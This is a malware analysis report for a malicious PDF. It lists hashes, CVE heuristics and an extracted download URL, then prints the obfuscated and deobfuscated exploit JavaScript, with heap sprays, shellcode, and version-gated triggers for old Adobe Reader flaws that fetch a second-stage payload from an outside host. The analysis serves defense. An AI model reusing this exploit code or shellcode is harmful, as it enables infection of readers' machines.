Malicious PDF — malware analysis report

Static analysis result for SHA-256 ce16492a9662d26c…

MALICIOUS

PDF

12.1 KB First seen: 2026-05-09
MD5: f4809a184afcb4c7abde07b7b7ec9476 SHA-1: ec4f5d3bbef13812487dce667b2022a3a240b6db SHA-256: ce16492a9662d26c5200f633c907a7d771e5221d5883931e80d2f9f70911c173
490 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it downloads a second-stage payload from the URL http://89.149.241.192/w.php?f=37&e=5. This is a common pattern for exploit kits aiming to deliver further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://89.149.241.192/w.php?f=37&e=5 Referenced by PDF JavaScript

Related samples 5

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x369 11332 bytes
SHA-256: ae4408b5b95c25a09b86122c9c39ba3c6fd202f8707f223425312278f8fd16c6
Preview script
First 1,000 lines of the extracted script
j='4wbt43t';
z
=
new
Array(62,61,37,39,37,46,55,46,28,28,67,42,71,31,45,46,3,54,72,24,74,74,3,54,61,44,39,40,3,54,72,60,61,44,3,54,26,60,39,40,3,54,39,20,24,40,3,54,24,24,60,61,3,54,74,40,44,1,3,54,40,1,72,67,3,54,72,67,24,1,3,54,1,44,40,1,3,54,26,1,72,67,3,54,60,74,55,44,3,54,26,74,72,67,3,54,24,24,1,72,3,54,74,74,22,67,3,54,60,39,72,67,3,54,1,24,24,44,3,54,24,24,26,40,3,54,72,55,51,44,3,54,55,60,39,39,3,54,61,61,55,1,3,54,67,72,61,61,3,54,40,1,72,67,3,54,44,24,24,1,3,54,24,20,40,74,3,54,26,60,1,74,3,54,72,26,61,67,3,54,51,40,24,40,3,54,39,40,72,60,3,54,60,55,26,60,3,54,39,67,39,20,3,54,60,55,40,44,3,54,72,67,60,74,3,54,24,44,26,60,3,54,26,40,72,67,3,54,26,72,24,60,3,54,61,60,1,24,3,54,72,67,60,74,3,54,51,1,26,74,3,54,61,60,1,24,3,54,44,20,24,24,3,54,40,55,40,20,3,54,58,22,61,44,3,54,44,60,1,24,3,54,22,67,24,24,3,54,67,39,1,61,3,54,24,72,55,1,3,54,26,40,61,51,3,54,44,55,1,72,3,54,1,22,44,67,3,54,22,58,1,24,3,54,39,67,40,1,3,54,24,67,61,55,3,54,26,60,55,61,3,54,60,39,39,74,3,54,60,39,72,67,3,54,1,24,51,40,3,54,74,74,22,22,3,54,1,44,72,67,3,54,72,22,40,67,3,54,39,44,40,74,3,54,60,40,61,61,3,54,1,44,51,40,3,54,22,72,72,67,3,54,22,22,1,24,3,54,1,40,72,67,3,54,1,24,72,67,3,54,58,67,44,60,3,54,60,20,60,39,3,54,39,67,44,24,3,54,58,22,60,24,3,54,74,72,72,67,3,54,72,1,51,1,3,54,1,44,26,22,3,54,26,40,24,24,3,54,20,74,1,24,3,54,61,24,39,67,3,54,74,72,72,67,3,54,72,67,1,72,3,54,74,58,61,26,3,54,60,20,1,60,3,54,20,72,39,72,3,54,61,61,61,61,3,54,39,51,61,61,3,54,39,72,61,20,3,54,1,1,1,1,3,54,1,1,1,1,3,54,60,1,60,72,3,54,40,1,74,58,3,54,61,61,74,72,3,54,1,1,1,1,3,54,60,1,1,1,3,54,44,1,72,24,3,54,60,1,55,20,3,54,72,67,60,60,3,54,72,67,39,44,3,54,55,1,60,39,3,54,44,24,72,24,3,54,61,61,1,60,3,54,74,72,39,24,3,54,74,39,74,61,3,54,1,1,1,1,3,54,26,60,74,72,3,54,74,44,26,51,3,54,60,40,74,22,3,54,55,74,61,61,3,54,44,40,72,24,3,54,72,67,1,72,3,54,39,72,39,72,3,54,61,61,74,55,3,54,61,61,61,61,3,54,1,51,39,67,3,54,26,51,39,67,3,54,39,44,72,55,3,54,1,55,1,40,3,54,1,1,1,1,3,54,60,44,72,22,3,54,1,44,51,40,3,54,1,40,44,26,3,54,26,51,51,40,3,54,74,26,74,60,3,54,44,26,26,24,3,54,51,40,40,40,3,54,26,74,1,40,3,54,24,24,26,51,3,54,44,26,24,51,3,54,51,40,40,40,3,54,51,1,1,72,3,54,26,24,51,22,3,54,60,24,51,1,3,54,61,72,74,72,3,54,1,1,1,1,3,54,61,61,1,1,3,54,1,44,60,74,3,54,39,72,72,67,3,54,44,20,24,24,3,54,44,26,60,55,3,54,55,22,40,40,3,54,26,26,1,1,3,54,74,51,26,1,3,54,44,26,26,40,3,54,55,22,40,40,3,54,51,39,1,60,3,54,74,44,74,40,3,54,44,74,74,44,3,54,55,22,40,40,3,54,1,1,1,20,3,54,72,58,60,20,3,54,1,40,44,55,3,54,72,72,24,1,3,54,55,22,40,40,3,54,40,55,1,40,3,54,74,58,60,55,3,54,74,58,1,1,3,54,60,24,1,1,3,54,74,58,60,26,3,54,61,61,1,1,3,54,55,40,60,74,3,54,44,1,72,60,3,54,55,74,26,60,3,54,1,1,74,58,3,54,61,61,60,24,3,54,1,40,60,74,3,54,1,1,74,58,3,54,39,67,72,24,3,54,60,24,1,44,3,54,60,74,61,61,3,54,72,24,1,40,3,54,1,44,44,24,3,54,1,51,39,67,3,54,55,24,39,67,3,54,72,1,40,26,3,54,1,1,24,61,3,54,61,58,26,60,3,54,72,1,40,26,3,54,1,1,24,61,3,54,44,40,26,60,3,54,1,1,74,58,3,54,61,39,74,58,3,54,60,74,61,61,3,54,39,72,1,72,3,54,61,39,20,44,3,54,61,61,61,61,3,54,40,39,72,39,3,54,39,44,1,39,3,54,61,39,20,72,3,54,1,39,72,58,3,54,74,61,72,20,3,54,67,22,1,55,3,54,44,58,24,24,3,54,60,67,72,58,3,54,44,74,55,67,3,54,26,20,40,74,3,54,55,58,24,74,3,54,26,1,51,61,3,54,26,40,74,72,3,54,26,1,26,40,3,54,51,61,24,58,3,54,24,72,51,61,3,54,51,39,24,20,3,54,24,40,24,55,3,54,51,39,24,20,3,54,24,40,24,51,3,54,51,39,24,55,3,54,24,20,24,55,3,54,51,61,24,51,3,54,51,39,26,26,3,54,74,72,26,1,3,54,24,61,26,1,3,54,24,22,74,74,3,54,24,26,24,24,3,54,74,60,51,74,3,54,24,60,24,22,3,54,1,1,1,1,46,32,61,54,8,44,50,62,35,8,4,39,21,2,48,37,48,58,19,25,16,28,75,6,49,62,15,39,37,48,58,7,15,39,8,31,50,49,47,51,68,25,16,28,75,48,58,0,45,48,58,32,52,48,58,45,48,58,7,71,54,67,71,50,48,62,8,31,37,1,19,25,16,69,51,28,32,48,39,50,54,48,8,4,48,58,32,52,4,61,54,8,44,50,62,35,8,4,67,12,37,28,75,2,58,48,4,22,30,31,45,8,39,6,4,29,48,48,58,16,37,28,32,2,58,48,4,2,6,45,1,12,1,44,1,44,1,44,1,44,32,2,58,48,4,58,22,22,48,45,1,12,40,1,1,1,1,1,32,2,58,48,4,14,58,16,15,35,58,22,45,54,8,39,71,44,58,14,39,37,67,42,71,31,28,32,2,58,48,4,71,44,41,15,39,8,45,14,58,16,15,35,58,22,7,15,39,8,31,50,49,47,51,32,2,58,48,4,25,16,45,58,22,22,48,59,37,71,44,41,15,39,8,0,1,12,24,72,28,32,2,58,48,4,16,58,48,71,14,45,54,8,39,71,44,58,14,39,37,56,3,54,20,1,20,1,3,54,20,1,20,1,56,28,32,16,58,48,71,14,45,39,21,2,48,37,16,58,48,71,14,19,25,16,28,32,2,58,48,4,44,35,54,8,50,51,45,37,2,6,59,1,12,40,1,1,1,1,1,28,69,58,22,22,48,32,61,35,48,37,2,58,48,4,44,35,54,8,50,45,1,32,44,35,54,8,50,68,44,35,54,8,50,51,32,44,35,54,8,50,0,0,28,75,22,30,31,43,44,35,54,8,50,18,45,16,58,48,71,14,0,14,58,16,15,35,58,22,32,52,4,2,58,48,4,35,2,39,48,61,15,35,6,45,54,8,39,71,44,58,14,39,37,56,3,54,1,44,1,44,3,54,1,44,1,44,56,28,32,6,49,62,15,39,37,35,2,39,48,61,15,35,6,7,15,39,8,31,50,49,68,40,40,20,60,51,28,75,35,2,39,48,61,15,35,6,0,45,35,2,39,48,61,15,35,6,32,52,4,50,49,62,71,7,44,35,15,15,58,67,64,50,35,48,39,45,33,35,15,15,58,67,7,44,35,15,15,39,44,50,17,34,58,62,15,13,8,61,35,37,75,71,54,67,42,9,56,56,19,34,71,31,9,35,2,39,48,61,15,35,6,52,28,32,52,4,61,54,8,44,50,62,35,8,4,14,48,62,8,50,61,37,28,75,8,35,14,45,54,8,39,71,44,58,14,39,37,56,3,54,1,29,1,29,3,54,1,29,1,29,3,54,1,29,1,29,3,54,1,29,1,29,56,28,32,2,58,48,4,14,58,16,15,35,58,22,45,54,8,39,71,44,58,14,39,37,67,42,71,31,28,32,49,39,58,14,67,15,35,44,30,45,8,35,14,0,14,58,16,15,35,58,22,32,67,62,31,67,15,35,44,30,45,54,8,39,71,44,58,14,39,37,56,3,54,1,29,1,29,3,54,1,29,1,29,56,28,32,49,39,58,22,39,48,71,62,21,39,45,51,1,32,71,14,48,58,16,45,49,39,58,22,39,48,71,62,21,39,0,49,39,58,14,67,15,35,44,30,7,15,39,8,31,50,49,32,6,49,62,15,39,37,67,62,31,67,15,35,44,30,7,15,39,8,31,50,49,68,71,14,48,58,16,28,75,67,62,31,67,15,35,44,30,0,45,67,62,31,67,15,35,44,30,32,52,4,61,62,15,15,67,15,35,44,30,45,67,62,31,67,15,35,44,30,7,71,54,67,71,50,48,62,8,31,37,1,19,71,14,48,58,16,28,32,67,15,35,44,30,45,67,62,31,67,15,35,44,30,7,71,54,67,71,50,48,62,8,31,37,1,19,67,62,31,67,15,35,44,30,7,15,39,8,31,50,49,59,71,14,48,58,16,28,32,6,49,62,15,39,37,67,15,35,44,30,7,15,39,8,31,50,49,0,71,14,48,58,16,68,1,12,40,1,1,1,1,28,75,67,15,35,44,30,45,67,15,35,44,30,0,67,15,35,44,30,0,61,62,15,15,67,15,35,44,30,32,52,4,34,39,34,45,8,39,6,4,29,48,48,58,16,37,28,32,61,35,48,37,62,45,1,32,62,68,55,40,1,1,32,62,0,0,28,75,34,39,34,43,62,18,45,67,15,35,44,30,0,49,39,58,14,67,15,35,44,30,32,52,4,2,58,48,4,8,54,34,45,55,51,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,72,32,54,50,62,15,7,14,48,62,8,50,61,37,56,3,40,60,1,1,1,61,56,19,8,54,34,28,32,52,4,61,54,8,44,50,62,35,8,4,31,39,50,62,44,35,8,37,28,75,2,58,48,4,58,48,48,16,45,8,39,6,4,29,48,48,58,16,37,28,32,62,61,37,58,14,14,7,22,35,44,7,33,35,15,15,58,67,7,31,39,50,13,44,35,8,28,75,2,58,48,4,14,58,16,15,35,58,22,45,54,8,39,71,44,58,14,39,37,67,42,71,31,28,32,2,58,48,4,49,70,25,60,1,1,33,63,45,14,58,16,15,35,58,22,7,15,39,8,31,50,49,47,51,32,2,58,48,4,25,16,45,1,12,40,1,1,1,1,1,59,37,49,70,25,60,1,1,33,63,0,1,12,24,72,28,32,2,58,48,4,16,58,48,71,14,45,54,8,39,71,44,58,14,39,37,56,3,54,20,1,20,1,3,54,20,1,20,1,56,28,32,16,58,48,71,14,45,39,21,2,48,37,16,58,48,71,14,19,25,16,28,32,2,58,48,4,14,60,29,42,10,74,60,61,45,37,1,12,1,44,1,44,1,44,1,44,59,1,12,40,1,1,1,1,1,28,69,1,12,40,1,1,1,1,1,32,61,35,48,37,2,58,48,4,2,25,44,11,57,20,74,16,45,1,32,2,25,44,11,57,20,74,16,68,14,60,29,42,10,74,60,61,32,2,25,44,11,57,20,74,16,0,0,28,75,58,48,48,16,43,2,25,44,11,57,20,74,16,18,45,16,58,48,71,14,0,14,58,16,15,35,58,22,32,52,4,2,58,48,4,50,36,5,49,63,67,53,6,45,54,8,39,71,44,58,14,39,37,56,3,1,20,56,28,32,6,49,62,15,39,37,50,36,5,49,63,67,53,6,7,15,39,8,31,50,49,68,1,12,40,1,1,1,28,75,50,36,5,49,63,67,53,6,0,45,50,36,5,49,63,67,53,6,32,52,4,50,36,5,49,63,67,53,6,45,56,63,7,56,0,50,36,5,49,63,67,53,6,32,58,14,14,7,22,35,44,7,33,35,15,15,58,67,7,31,39,50,13,44,35,8,37,50,36,5,49,63,67,53,6,28,32,52,52,4,58,73,15,54,31,62,8,71,45,58,14,14,7,14,15,54,31,13,8,71,32,2,58,48,4,71,2,45,14,58,48,71,39,13,8,50,37,58,14,14,7,2,62,39,6,39,48,38,39,48,71,62,35,8,7,50,35,64,50,48,62,8,31,37,28,7,44,49,58,48,29,50,37,1,28,28,32,61,35,48,37,2,58,48,4,62,45,1,32,62,68,58,73,15,54,31,62,8,71,7,15,39,8,31,50,49,32,62,0,0,28,75,62,61,37,58,73,15,54,31,62,8,71,43,62,18,7,8,58,34,39,45,45,46,17,64,44,48,62,14,50,46,28,75,2,58,48,4,15,2,45,58,73,15,54,31,62,8,71,43,62,18,7,2,39,48,71,62,35,8,32,52,52,4,62,61,37,37,15,2,45,45,20,28,27,27,37,37,71,2,45,45,72,28,23,23,37,15,2,68,45,72,7,55,51,28,28,28,75,31,39,50,62,44,35,8,37,28,32,52,39,15,71,39,4,62,61,37,15,2,45,45,26,7,55,28,75,14,48,62,8,50,61,37,28,32,52,39,15,71,39,4,62,61,37,37,37,71,2,45,45,74,28,27,27,37,71,2,45,45,26,28,28,23,23,37,15,2,68,26,7,55,55,28,28,75,67,12,37,28,32,52,39,15,71,39,4,62,61,37,37,15,2,65,45,20,7,55,28,27,27,37,15,2,68,45,20,7,51,28,27,27,37,15,2,65,45,72,7,55,24,28,27,27,37,15,2,68,45,72,7,55,26,28,28,75,61,54,8,44,50,62,35,8,4,58,37,28,75,54,50,62,15,7,14,48,62,8,50,22,37,46,14,66,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,55,4,9,4,16,16,16,16,55,55,55,46,19,8,39,6,4,57,58,50,39,37,28,28,32,52,2,58,48,4,49,45,58,14,14,7,14,15,54,31,13,8,71,32,61,35,48,37,2,58,48,4,61,45,1,32,61,68,49,7,15,39,8,31,50,49,32,61,0,0,28,75,62,61,37,49,43,61,18,7,8,58,34,39,45,45,46,17,64,44,48,62,14,50,46,28,75,2,58,48,4,62,45,49,43,61,18,7,2,39,48,71,62,35,8,32,52,52,4,62,61,37,37,62,65,72,7,55,51,28,23,23,37,62,68,72,7,51,28,28,75,44,45,8,39,6,4,29,48,48,58,16,37,28,32,2,58,48,4,22,45,54,8,39,71,44,58,14,39,37,46,3,54,20,1,20,1,3,54,20,1,20,1,46,28,32,2,58,48,4,39,45,54,8,39,71,44,58,14,39,37,67,42,71,31,28,32,6,49,62,15,39,37,22,7,15,39,8,31,50,49,68,45,1,12,72,1,1,1,28,75,22,0,45,22,32,52,22,45,22,7,71,54,67,71,50,48,37,1,19,1,12,72,1,1,1,59,39,7,15,39,8,31,50,49,28,32,61,35,48,37,61,45,1,32,61,68,51,20,1,1,32,61,0,0,28,75,44,43,61,18,45,22,0,39,32,52,58,37,28,32,58,37,28,32,50,48,16,75,50,49,62,71,7,34,39,22,62,58,7,8,39,6,73,15,58,16,39,48,37,8,54,15,15,28,32,52,44,58,50,44,49,37,39,28,75,52,58,37,28,32,52,52);
a=new String("+0v% Mw.n:KQxIplyE],9zd&3q7|)Akg;CmoU(Ve4_j[c='*rht2}Gu1'Da-5fiNS>@b</Ws8P6{");
b="al";
b2="v"
+b;
try
{
for(i in app)
if(i=='printerNames')
fqwf-1;
}catch(q){
e=j['substr']();
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s=new String();try{if(!google.search())throw 1;}catch(q){r=1;}{
for(j=0;j<z.length;j++)
try{
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[j]];
}
}}

try{if(!google.search())bbb-123;}
catch(nergerg){
e(s);
}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 3858 bytes
SHA-256: 4cb60f7a8da67f452e06d60c86ed73fb83d50e325870e5c1251d5bda631ce314
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u382f%u2e39%u3431%u2e39%u3432%u2e31%u3931%u2f32%u2e77%u6870%u3f70%u3d66%u3733%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 3854 bytes
SHA-256: 6e03da7d55018dc9821229ec6375100283bd0d2b806457751ed6b47b9f996162
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
if(e('1'))bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u382f%u2e39%u3431%u2e39%u3432%u2e31%u3931%u2f32%u2e77%u6870%u3f70%u3d66%u3733%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 